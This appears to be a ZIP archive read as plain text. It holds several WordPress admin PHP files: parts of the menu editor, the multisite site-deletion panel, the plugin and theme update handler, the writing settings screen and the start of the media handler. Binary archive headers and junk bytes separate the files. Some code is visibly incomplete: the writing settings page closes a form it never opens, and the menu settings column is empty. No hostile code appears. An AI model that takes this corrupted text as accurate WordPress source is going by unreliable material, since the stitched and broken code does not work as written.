									<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => $menu_locations[$_location] ), admin_url( 'nav-menus.php' ) ) ); ?>">
										<span aria-hidden="true"><?php _ex( 'Edit', 'menu' ); ?></span><span class="screen-reader-text"><?php _e( 'Edit selected menu' ); ?></span>
									</a>
								</span>
								<?php endif; ?>
								<span class="locations-add-menu-link">
									<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, 'use-location' => $_location ), admin_url( 'nav-menus.php' ) ) ); ?>">
										<?php _ex( 'Use new menu', 'menu' ); ?>
									</a>
								</span>
							</div>
						</td>
					</tr>
				<?php } // foreach ?>
				</tbody>
			</table>
			<p class="button-controls wp-clearfix"><?php submit_button( __( 'Save Changes' ), 'primary left', 'nav-menu-locations', false ); ?></p>
			<?php wp_nonce_field( 'save-menu-locations' ); ?>
			<input type="hidden" name="menu" id="nav-menu-meta-object-id" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
		</form>
	</div>
	<?php
	/**
	 * Fires after the menu locations table is displayed.
	 *
	 * @since 3.6.0
	 */
	do_action( 'after_menu_locations_table' ); ?>
	<?php else : ?>
	<div class="manage-menus">
 		<?php if ( $menu_count < 2 ) : ?>
		<span class="add-edit-menu-action">
			<?php printf( __( 'Edit your menu below, or <a href="%s">create a new menu</a>.' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0 ), admin_url( 'nav-menus.php' ) ) ) ); ?>
		</span>
		<?php else : ?>
			<form method="get" action="<?php echo admin_url( 'nav-menus.php' ); ?>">
			<input type="hidden" name="action" value="edit" />
			<label for="select-menu-to-edit" class="selected-menu"><?php _e( 'Select a menu to edit:' ); ?></label>
			<select name="menu" id="select-menu-to-edit">
				<?php if ( $add_new_screen ) : ?>
					<option value="0" selected="selected"><?php _e( '&mdash; Select &mdash;' ); ?></option>
				<?php endif; ?>
				<?php foreach ( (array) $nav_menus as $_nav_menu ) : ?>
					<option value="<?php echo esc_attr( $_nav_menu->term_id ); ?>" <?php selected( $_nav_menu->term_id, $nav_menu_selected_id ); ?>>
						<?php
						echo esc_html( $_nav_menu->truncated_name ) ;

if ( ! empty( $menu_locations ) && in_array( $_nav_menu->term_id, $menu_locations ) ) {
							$locations_assigned_to_this_menu = array();
							foreach ( array_keys( $menu_locations, $_nav_menu->term_id ) as $menu_location_key ) {
								if ( isset( $locations[ $menu_location_key ] ) ) {
									$locations_assigned_to_this_menu[] = $locations[ $menu_location_key ];
								}
							}

/**
							 * Filters the number of locations listed per menu in the drop-down select.
							 *
							 * @since 3.6.0
							 *
							 * @param int $locations Number of menu locations to list. Default 3.
							 */
							$assigned_locations = array_slice( $locations_assigned_to_this_menu, 0, absint( apply_filters( 'wp_nav_locations_listed_per_menu', 3 ) ) );

// Adds ellipses following the number of locations defined in $assigned_locations.
							if ( ! empty( $assigned_locations ) ) {
								printf( ' (%1$s%2$s)',
									implode( ', ', $assigned_locations ),
									count( $locations_assigned_to_this_menu ) > count( $assigned_locations ) ? ' &hellip;' : ''
								);
							}
						}
						?>
					</option>
				<?php endforeach; ?>
			</select>
			<span class="submit-btn"><input type="submit" class="button" value="<?php esc_attr_e( 'Select' ); ?>"></span>
			<span class="add-new-menu-action">
				<?php printf( __( 'or <a href="%s">create a new menu</a>.' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0 ), admin_url( 'nav-menus.php' ) ) ) ); ?>
			</span>
		</form>
	<?php endif; ?>
	</div>
	<div id="nav-menus-frame" class="wp-clearfix">
	<div id="menu-settings-column" class="metabox-holder<?php if ( isset( $_GET['menu'] ) && '0' == $_GET['menu'] ) { echo ' metabox-holder-disabled'; } ?>">

</div>
	<div id="menu-management-liquid">
		<div id="menu-management">
			<form id="update-nav-menu" method="post" enctype="multipart/form-data">
				<div class="menu-edit <?php if ( $add_new_screen ) echo 'blank-slate'; ?>">
					<input type="hidden" name="nav-menu-data">
					<?php
					wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
					wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
					wp_nonce_field( 'update-nav_menu', 'update-nav-menu-nonce' );

$menu_name_aria_desc = $add_new_screen ? ' aria-describedby="menu-name-desc"' : '';

if ( $one_theme_location_no_menus ) {
						$menu_name_val = 'value="' . esc_attr( 'Menu 1' ) . '"';
					?>
						<input type="hidden" name="zero-menu-state" value="true" />
					<?php } else {
						$menu_name_val = 'value="' . esc_attr( $nav_menu_selected_title ) . '"';
					} ?>
 					<input type="hidden" name="action" value="update" />
					<input type="hidden" name="menu" id="menu" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
					<div id="nav-menu-header">
						<div class="major-publishing-actions wp-clearfix">
							<label class="menu-name-label" for="menu-name"><?php _e( 'Menu Name' ); ?></label>
							<input name="menu-name" id="menu-name" type="text" class="menu-name regular-text menu-item-textbox" <?php echo $menu_name_val . $menu_name_aria_desc; ?> />
							<div class="publishing-action">
								<?php submit_button( empty( $nav_menu_selected_id ) ? __( 'Create Menu' ) : __( 'Save Menu' ), 'primary large menu-save', 'save_menu', false, array( 'id' => 'save_menu_header' ) ); ?>
							</div>
						</div>
					</div>
					<div id="post-body">
						<div id="post-body-content" class="wp-clearfix">
							<?php if ( ! $add_new_screen ) : ?>
							<h3><?php _e( 'Menu Structure' ); ?></h3>
							<?php $starter_copy = ( $one_theme_location_no_menus ) ? __( 'Edit your default menu by adding or removing items. Drag each item into the order you prefer. Click Create Menu to save your changes.' ) : __( 'Drag each item into the order you prefer. Click the arrow on the right of the item to reveal additional configuration options.' ); ?>
							<div class="drag-instructions post-body-plain" <?php if ( isset( $menu_items ) && 0 == count( $menu_items ) ) { ?>style="display: none;"<?php } ?>>
								<p><?php echo $starter_copy; ?></p>
							</div>
							<?php
							if ( isset( $edit_markup ) && ! is_wp_error( $edit_markup ) ) {
								echo $edit_markup;
							} else {
							?>
							<ul class="menu" id="menu-to-edit"></ul>
							<?php } ?>
							<?php endif; ?>
							<?php if ( $add_new_screen ) : ?>
								<p class="post-body-plain" id="menu-name-desc"><?php _e( 'Give your menu a name, then click Create Menu.' ); ?></p>
								<?php if ( isset( $_GET['use-location'] ) ) : ?>
									<input type="hidden" name="use-location" value="<?php echo esc_attr( $_GET['use-location'] ); ?>" />
								<?php endif; ?>
							<?php endif; ?>
							<div class="menu-settings" <?php if ( $one_theme_location_no_menus ) { ?>style="display: none;"<?php } ?>>
								<h3><?php _e( 'Menu Settings' ); ?></h3>
								<?php
								if ( ! isset( $auto_add ) ) {
									$auto_add = get_option( 'nav_menu_options' );
									if ( ! isset( $auto_add['auto_add'] ) )
										$auto_add = false;
									elseif ( false !== array_search( $nav_menu_selected_id, $auto_add['auto_add'] ) )
										$auto_add = true;
									else
										$auto_add = false;
								} ?>

<fieldset class="menu-settings-group auto-add-pages">
									<legend class="menu-settings-group-name howto"><?php _e( 'Auto add pages' ); ?></legend>
									<div class="menu-settings-input checkbox-input">
										<input type="checkbox"<?php checked( $auto_add ); ?> name="auto-add-pages" id="auto-add-pages" value="1" /> <label for="auto-add-pages"><?php printf( __('Automatically add new top-level pages to this menu' ), esc_url( admin_url( 'edit.php?post_type=page' ) ) ); ?></label>
									</div>
								</fieldset>

<?php if ( current_theme_supports( 'menus' ) ) : ?>

<fieldset class="menu-settings-group menu-theme-locations">
										<legend class="menu-settings-group-name howto"><?php _e( 'Display location' ); ?></legend>
										<?php foreach ( $locations as $location => $description ) : ?>
										<div class="menu-settings-input checkbox-input">
											<input type="checkbox"<?php checked( isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] == $nav_menu_selected_id ); ?> name="menu-locations[<?php echo esc_attr( $location ); ?>]" id="locations-<?php echo esc_attr( $location ); ?>" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
											<label for="locations-<?php echo esc_attr( $location ); ?>"><?php echo $description; ?></label>
											<?php if ( ! empty( $menu_locations[ $location ] ) && $menu_locations[ $location ] != $nav_menu_selected_id ) : ?>
												<span class="theme-location-set"><?php
													/* translators: %s: menu name */
													printf( _x( '(Currently set to: %s)', 'menu location' ),
														wp_get_nav_menu_object( $menu_locations[ $location ] )->name
													);
												?></span>
											<?php endif; ?>
										</div>
										<?php endforeach; ?>
									</fieldset>

<?php endif; ?>

</div>
						</div>
					</div>
					<div id="nav-menu-footer">
						<div class="major-publishing-actions wp-clearfix">
							<?php if ( 0 != $menu_count && ! $add_new_screen ) : ?>
							<span class="delete-action">
								<a class="submitdelete deletion menu-delete" href="<?php echo esc_url( wp_nonce_url( add_query_arg( array( 'action' => 'delete', 'menu' => $nav_menu_selected_id ), admin_url( 'nav-menus.php' ) ), 'delete-nav_menu-' . $nav_menu_selected_id) ); ?>"><?php _e('Delete Menu'); ?></a>
							</span>
							<?php endif; ?>
							<div class="publishing-action">
								<?php submit_button( empty( $nav_menu_selected_id ) ? __( 'Create Menu' ) : __( 'Save Menu' ), 'primary large menu-save', 'save_menu', false, array( 'id' => 'save_menu_footer' ) ); ?>
							</div>
						</div>
					</div>
				</div>
			</form>
		</div>
	</div>
	</div>
	<?php endif; ?>
</div>
<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
PK�������!���Q��������ms-delete-site.phpnu��[�����������<?php
/**
 * Multisite delete site panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once( dirname( __FILE__ ) . '/admin.php' );

if ( !is_multisite() )
	wp_die( __( 'Multisite support is not enabled.' ) );

if ( ! current_user_can( 'delete_site' ) )
	wp_die(__( 'Sorry, you are not allowed to delete this site.'));

if ( isset( $_GET['h'] ) && $_GET['h'] != '' && get_option( 'delete_blog_hash' ) != false ) {
	if ( hash_equals( get_option( 'delete_blog_hash' ), $_GET['h'] ) ) {
		wpmu_delete_blog( get_current_blog_id() );
		wp_die( sprintf( __( 'Thank you for using %s, your site has been deleted. Happy trails to you until we meet again.' ), get_network()->site_name ) );
	} else {
		wp_die( __( 'Sorry, the link you clicked is stale. Please select another option.' ) );
	}
}

$blog = get_site();
$user = wp_get_current_user();

$title = __( 'Delete Site' );
$parent_file = 'tools.php';
require_once( ABSPATH . 'wp-admin/admin-header.php' );

echo '<div class="wrap">';
echo '<h1>' . esc_html( $title ) . '</h1>';

if ( isset( $_POST['action'] ) && $_POST['action'] == 'deleteblog' && isset( $_POST['confirmdelete'] ) && $_POST['confirmdelete'] == '1' ) {
	check_admin_referer( 'delete-blog' );

$hash = wp_generate_password( 20, false );
	update_option( 'delete_blog_hash', $hash );

$url_delete = esc_url( admin_url( 'ms-delete-site.php?h=' . $hash ) );

$switched_locale = switch_to_locale( get_locale() );

/* translators: Do not translate USERNAME, URL_DELETE, SITE_NAME: those are placeholders. */
	$content = __( "Howdy ###USERNAME###,

You recently clicked the 'Delete Site' link on your site and filled in a
form on that page.

If you really want to delete your site, click the link below. You will not
be asked to confirm again so only click this link if you are absolutely certain:
###URL_DELETE###

If you delete your site, please consider opening a new site here
some time in the future! (But remember your current site and username
are gone forever.)

Thanks for using the site,
Webmaster
###SITE_NAME###" );
	/**
	 * Filters the email content sent when a site in a Multisite network is deleted.
	 *
	 * @since 3.0.0
	 *
	 * @param string $content The email content that will be sent to the user who deleted a site in a Multisite network.
	 */
	$content = apply_filters( 'delete_site_email_content', $content );

$content = str_replace( '###USERNAME###', $user->user_login, $content );
	$content = str_replace( '###URL_DELETE###', $url_delete, $content );
	$content = str_replace( '###SITE_NAME###', get_network()->site_name, $content );

wp_mail( get_option( 'admin_email' ), "[ " . wp_specialchars_decode( get_option( 'blogname' ) ) . " ] ".__( 'Delete My Site' ), $content );

if ( $switched_locale ) {
		restore_previous_locale();
	}
	?>

<?php } else {
	?>
	<p><?php printf( __( 'If you do not want to use your %s site any more, you can delete it using the form below. When you click <strong>Delete My Site Permanently</strong> you will be sent an email with a link in it. Click on this link to delete your site.'), get_network()->site_name); ?></p>
	<p><?php _e( 'Remember, once deleted your site cannot be restored.' ) ?></p>

<form method="post" name="deletedirect">
		<?php wp_nonce_field( 'delete-blog' ) ?>
		<input type="hidden" name="action" value="deleteblog" />
		<p><input id="confirmdelete" type="checkbox" name="confirmdelete" value="1" /> <label for="confirmdelete"><strong><?php
			printf(
				/* translators: %s: site address */
				__( "I'm sure I want to permanently disable my site, and I am aware I can never get it back or use %s again." ),
				$blog->domain . $blog->path
			);
		?></strong></label></p>
		<?php submit_button( __( 'Delete My Site Permanently' ) ); ?>
	</form>
 	<?php
}
echo '</div>';

include( ABSPATH . 'wp-admin/admin-footer.php' );
PK�������!���E�'���'��
��update.phpnu��[�����������<?php
/**
 * Update/Install Plugin/Theme administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'IFRAME_REQUEST' ) && isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ) ) )
	define( 'IFRAME_REQUEST', true );

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );

if ( isset($_GET['action']) ) {
	$plugin = isset($_REQUEST['plugin']) ? trim($_REQUEST['plugin']) : '';
	$theme = isset($_REQUEST['theme']) ? urldecode($_REQUEST['theme']) : '';
	$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';

if ( 'update-selected' == $action ) {
		if ( ! current_user_can( 'update_plugins' ) )
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );

check_admin_referer( 'bulk-update-plugins' );

if ( isset( $_GET['plugins'] ) )
			$plugins = explode( ',', stripslashes($_GET['plugins']) );
		elseif ( isset( $_POST['checked'] ) )
			$plugins = (array) $_POST['checked'];
		else
			$plugins = array();

$plugins = array_map('urldecode', $plugins);

$url = 'update.php?action=update-selected&amp;plugins=' . urlencode(implode(',', $plugins));
		$nonce = 'bulk-update-plugins';

wp_enqueue_script( 'updates' );
		iframe_header();

$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $plugins );

iframe_footer();

} elseif ( 'upgrade-plugin' == $action ) {
		if ( ! current_user_can('update_plugins') )
			wp_die(__('Sorry, you are not allowed to update plugins for this site.'));

check_admin_referer('upgrade-plugin_' . $plugin);

$title = __('Update Plugin');
		$parent_file = 'plugins.php';
		$submenu_file = 'plugins.php';

wp_enqueue_script( 'updates' );
		require_once(ABSPATH . 'wp-admin/admin-header.php');

$nonce = 'upgrade-plugin_' . $plugin;
		$url = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin );

$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact('title', 'nonce', 'url', 'plugin') ) );
		$upgrader->upgrade($plugin);

include(ABSPATH . 'wp-admin/admin-footer.php');

} elseif ('activate-plugin' == $action ) {
		if ( ! current_user_can('update_plugins') )
			wp_die(__('Sorry, you are not allowed to update plugins for this site.'));

check_admin_referer('activate-plugin_' . $plugin);
		if ( ! isset($_GET['failure']) && ! isset($_GET['success']) ) {
			wp_redirect( admin_url('update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce']) );
			activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true );
			wp_redirect( admin_url('update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce']) );
			die();
		}
		iframe_header( __('Plugin Reactivation'), true );
		if ( isset($_GET['success']) )
			echo '<p>' . __('Plugin reactivated successfully.') . '</p>';

if ( isset($_GET['failure']) ){
			echo '<p>' . __('Plugin failed to reactivate due to a fatal error.') . '</p>';

error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			@ini_set('display_errors', true); //Ensure that Fatal errors are displayed.
			wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
			include( WP_PLUGIN_DIR . '/' . $plugin );
		}
		iframe_footer();
	} elseif ( 'install-plugin' == $action ) {

if ( ! current_user_can('install_plugins') )
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );

include_once( ABSPATH . 'wp-admin/includes/plugin-install.php' ); //for plugins_api..

check_admin_referer( 'install-plugin_' . $plugin );
		$api = plugins_api( 'plugin_information', array(
			'slug' => $plugin,
			'fields' => array(
				'short_description' => false,
				'sections' => false,
				'requires' => false,
				'rating' => false,
				'ratings' => false,
				'downloaded' => false,
				'last_updated' => false,
				'added' => false,
				'tags' => false,
				'compatibility' => false,
				'homepage' => false,
				'donate_link' => false,
			),
		) );

if ( is_wp_error( $api ) ) {
	 		wp_die( $api );
		}

$title = __('Plugin Installation');
		$parent_file = 'plugins.php';
		$submenu_file = 'plugin-install.php';
		require_once(ABSPATH . 'wp-admin/admin-header.php');

$title = sprintf( __('Installing Plugin: %s'), $api->name . ' ' . $api->version );
		$nonce = 'install-plugin_' . $plugin;
		$url = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin );
		if ( isset($_GET['from']) )
			$url .= '&from=' . urlencode(stripslashes($_GET['from']));

$type = 'web'; //Install plugin type, From Web or an Upload.

$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) );
		$upgrader->install($api->download_link);

include(ABSPATH . 'wp-admin/admin-footer.php');

} elseif ( 'upload-plugin' == $action ) {

if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

check_admin_referer('plugin-upload');

$file_upload = new File_Upload_Upgrader('pluginzip', 'package');

$title = __('Upload Plugin');
		$parent_file = 'plugins.php';
		$submenu_file = 'plugin-install.php';
		require_once(ABSPATH . 'wp-admin/admin-header.php');

$title = sprintf( __('Installing Plugin from uploaded file: %s'), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'plugin-upload';
		$url = add_query_arg(array('package' => $file_upload->id), 'update.php?action=upload-plugin');
		$type = 'upload'; //Install plugin type, From Web or an Upload.

$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) );
		$result = $upgrader->install( $file_upload->package );

if ( $result || is_wp_error($result) )
			$file_upload->cleanup();

include(ABSPATH . 'wp-admin/admin-footer.php');

} elseif ( 'upgrade-theme' == $action ) {

if ( ! current_user_can('update_themes') )
			wp_die(__('Sorry, you are not allowed to update themes for this site.'));

check_admin_referer('upgrade-theme_' . $theme);

wp_enqueue_script( 'updates' );

$title = __('Update Theme');
		$parent_file = 'themes.php';
		$submenu_file = 'themes.php';
		require_once(ABSPATH . 'wp-admin/admin-header.php');

$nonce = 'upgrade-theme_' . $theme;
		$url = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme );

$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact('title', 'nonce', 'url', 'theme') ) );
		$upgrader->upgrade($theme);

include(ABSPATH . 'wp-admin/admin-footer.php');
	} elseif ( 'update-selected-themes' == $action ) {
		if ( ! current_user_can( 'update_themes' ) )
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );

check_admin_referer( 'bulk-update-themes' );

if ( isset( $_GET['themes'] ) )
			$themes = explode( ',', stripslashes($_GET['themes']) );
		elseif ( isset( $_POST['checked'] ) )
			$themes = (array) $_POST['checked'];
		else
			$themes = array();

$themes = array_map('urldecode', $themes);

$url = 'update.php?action=update-selected-themes&amp;themes=' . urlencode(implode(',', $themes));
		$nonce = 'bulk-update-themes';

wp_enqueue_script( 'updates' );
		iframe_header();

$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $themes );

iframe_footer();
	} elseif ( 'install-theme' == $action ) {

if ( ! current_user_can('install_themes') )
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );

include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' ); //for themes_api..

check_admin_referer( 'install-theme_' . $theme );
		$api = themes_api('theme_information', array('slug' => $theme, 'fields' => array('sections' => false, 'tags' => false) ) ); //Save on a bit of bandwidth.

if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

$title = __('Install Themes');
		$parent_file = 'themes.php';
		$submenu_file = 'themes.php';
		require_once(ABSPATH . 'wp-admin/admin-header.php');

$title = sprintf( __('Installing Theme: %s'), $api->name . ' ' . $api->version );
		$nonce = 'install-theme_' . $theme;
		$url = 'update.php?action=install-theme&theme=' . urlencode( $theme );
		$type = 'web'; //Install theme type, From Web or an Upload.

$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('title', 'url', 'nonce', 'plugin', 'api') ) );
		$upgrader->install($api->download_link);

include(ABSPATH . 'wp-admin/admin-footer.php');

} elseif ( 'upload-theme' == $action ) {

if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

check_admin_referer('theme-upload');

$file_upload = new File_Upload_Upgrader('themezip', 'package');

$title = __('Upload Theme');
		$parent_file = 'themes.php';
		$submenu_file = 'theme-install.php';

require_once(ABSPATH . 'wp-admin/admin-header.php');

$title = sprintf( __('Installing Theme from uploaded file: %s'), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'theme-upload';
		$url = add_query_arg(array('package' => $file_upload->id), 'update.php?action=upload-theme');
		$type = 'upload'; //Install plugin type, From Web or an Upload.

$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact('type', 'title', 'nonce', 'url') ) );
		$result = $upgrader->install( $file_upload->package );

if ( $result || is_wp_error($result) )
			$file_upload->cleanup();

include(ABSPATH . 'wp-admin/admin-footer.php');

} else {
		/**
		 * Fires when a custom plugin or theme update request is received.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the action
		 * provided in the request for wp-admin/update.php. Can be used to
		 * provide custom update functionality for themes and plugins.
		 *
		 * @since 2.8.0
		 */
		do_action( "update-custom_{$action}" );
	}
}
PK�������!��ޅ�b ��b ����options-writing.phpnu��[�����������<?php
/**
 * Writing settings administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

if ( ! current_user_can( 'manage_options' ) )
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );

$title = __('Writing Settings');
$parent_file = 'options-general.php';

get_current_screen()->add_help_tab( array(
	'id'      => 'overview',
	'title'   => __('Overview'),
	'content' => '<p>' . __('You can submit content in several different ways; this screen holds the settings for all of them. The top section controls the editor within the dashboard, while the rest control external publishing methods. For more information on any of these methods, use the documentation links.') . '</p>' .
		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
) );

/** This filter is documented in wp-admin/options.php */
if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
	get_current_screen()->add_help_tab( array(
		'id'      => 'options-postemail',
		'title'   => __( 'Post Via Email' ),
		'content' => '<p>' . __( 'Post via email settings allow you to send your WordPress installation an email with the content of your post. You must set up a secret email account with POP3 access to use this, and any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret.' ) . '</p>',
	) );
}

/** This filter is documented in wp-admin/options-writing.php */
if ( apply_filters( 'enable_update_services_configuration', true ) ) {
	get_current_screen()->add_help_tab( array(
		'id'      => 'options-services',
		'title'   => __( 'Update Services' ),
		'content' => '<p>' . __( 'If desired, WordPress will automatically alert various services of your new posts.' ) . '</p>',
	) );
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __('For more information:') . '</strong></p>' .
	'<p>' . __('<a href="https://codex.wordpress.org/Settings_Writing_Screen">Documentation on Writing Settings</a>') . '</p>' .
	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
);

include( ABSPATH . 'wp-admin/admin-header.php' );
?>

<table class="form-table">
<?php if ( get_site_option( 'initial_db_version' ) < 32453 ) : ?>
<tr>
<th scope="row"><?php _e('Formatting') ?></th>
<td><fieldset><legend class="screen-reader-text"><span><?php _e('Formatting') ?></span></legend>
<label for="use_smilies">
<input name="use_smilies" type="checkbox" id="use_smilies" value="1" <?php checked('1', get_option('use_smilies')); ?> />
<?php _e('Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display') ?></label><br />
<label for="use_balanceTags"><input name="use_balanceTags" type="checkbox" id="use_balanceTags" value="1" <?php checked('1', get_option('use_balanceTags')); ?> /> <?php _e('WordPress should correct invalidly nested XHTML automatically') ?></label>
</fieldset></td>
</tr>
<?php endif; ?>
<tr>
<th scope="row"><label for="default_category"><?php _e('Default Post Category') ?></label></th>
<td>
<?php
wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_category', 'orderby' => 'name', 'selected' => get_option('default_category'), 'hierarchical' => true));
?>
</td>
</tr>
<?php
$post_formats = get_post_format_strings();
unset( $post_formats['standard'] );
?>
<tr>
<th scope="row"><label for="default_post_format"><?php _e('Default Post Format') ?></label></th>
<td>
	<select name="default_post_format" id="default_post_format">
		<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
<?php foreach ( $post_formats as $format_slug => $format_name ): ?>
		<option<?php selected( get_option( 'default_post_format' ), $format_slug ); ?> value="<?php echo esc_attr( $format_slug ); ?>"><?php echo esc_html( $format_name ); ?></option>
<?php endforeach; ?>
	</select>
</td>
</tr>
<?php
if ( get_option( 'link_manager_enabled' ) ) :
?>
<tr>
<th scope="row"><label for="default_link_category"><?php _e('Default Link Category') ?></label></th>
<td>
<?php
wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_link_category', 'orderby' => 'name', 'selected' => get_option('default_link_category'), 'hierarchical' => true, 'taxonomy' => 'link_category'));
?>
</td>
</tr>
<?php endif; ?>

<?php
do_settings_fields('writing', 'default');
do_settings_fields('writing', 'remote_publishing'); // A deprecated section.
?>
</table>

<?php
/** This filter is documented in wp-admin/options.php */
if ( apply_filters( 'enable_post_by_email_configuration', true ) ) {
?>
<h2 class="title"><?php _e( 'Post via email' ) ?></h2>
<p><?php
printf(
	/* translators: 1, 2, 3: examples of random email addresses */
	__( 'To post to WordPress by email you must set up a secret email account with POP3 access. Any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret. Here are three random strings you could use: %1$s, %2$s, %3$s.' ),
	sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ),
	sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ),
	sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) )
);
?></p>

<table class="form-table">
<tr>
<th scope="row"><label for="mailserver_url"><?php _e('Mail Server') ?></label></th>
<td><input name="mailserver_url" type="text" id="mailserver_url" value="<?php form_option('mailserver_url'); ?>" class="regular-text code" />
<label for="mailserver_port"><?php _e('Port') ?></label>
<input name="mailserver_port" type="text" id="mailserver_port" value="<?php form_option('mailserver_port'); ?>" class="small-text" />
</td>
</tr>
<tr>
<th scope="row"><label for="mailserver_login"><?php _e('Login Name') ?></label></th>
<td><input name="mailserver_login" type="text" id="mailserver_login" value="<?php form_option('mailserver_login'); ?>" class="regular-text ltr" /></td>
</tr>
<tr>
<th scope="row"><label for="mailserver_pass"><?php _e('Password') ?></label></th>
<td>
<input name="mailserver_pass" type="text" id="mailserver_pass" value="<?php form_option('mailserver_pass'); ?>" class="regular-text ltr" />
</td>
</tr>
<tr>
<th scope="row"><label for="default_email_category"><?php _e('Default Mail Category') ?></label></th>
<td>
<?php
wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_email_category', 'orderby' => 'name', 'selected' => get_option('default_email_category'), 'hierarchical' => true));
?>
</td>
</tr>
<?php do_settings_fields('writing', 'post_via_email'); ?>
</table>
<?php } ?>

<?php
/**
 * Filters whether to enable the Update Services section in the Writing settings screen.
 *
 * @since 3.0.0
 *
 * @param bool $enable Whether to enable the Update Services settings area. Default true.
 */
if ( apply_filters( 'enable_update_services_configuration', true ) ) {
?>
<h2 class="title"><?php _e( 'Update Services' ) ?></h2>

<?php if ( 1 == get_option('blog_public') ) : ?>

<p><label for="ping_sites"><?php
		printf(
			/* translators: %s: Codex URL */
			__( 'When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see <a href="%s">Update Services</a> on the Codex. Separate multiple service URLs with line breaks.' ),
			__( 'https://codex.wordpress.org/Update_Services' )
		);
	?></label></p>

<?php else : ?>

<p><?php
		printf(
			/* translators: 1: Codex URL, 2: Reading Settings URL */
			__( 'WordPress is not notifying any <a href="%1$s">Update Services</a> because of your site&#8217;s <a href="%2$s">visibility settings</a>.' ),
			__( 'https://codex.wordpress.org/Update_Services' ),
			'options-reading.php'
		);
	?></p>

<?php endif; ?>
<?php } // enable_update_services_configuration ?>

<?php do_settings_sections('writing'); ?>

<?php submit_button(); ?>
</form>
</div>

<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
PK�������!�e_f������	��media.phpnu��[�����������<?php
/**
 * Media management action handler.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

$parent_file = 'upload.php';
$submenu_file = 'upload.php';

wp_reset_vars(array('action'));

switch ( $action ) {
case 'editattachment' :
	$attachment_id = (int) $_POST['attachment_id'];
	check_admin_referer('media-form');

if ( !current_user_can('edit_post', $attachment_id) )
		wp_die ( __('Sorry, you are not allowed to edit this attachment.') );

$errors = media_upload_form_handler();

if ( empty($errors) ) {
		$location = 'media.php';
		if ( $referer = wp_get_original_referer() ) {
			if ( false !== strpos($referer, 'upload.php') || ( url_to_postid($referer) == $attachment_id )  )
				$location = $referer;
		}
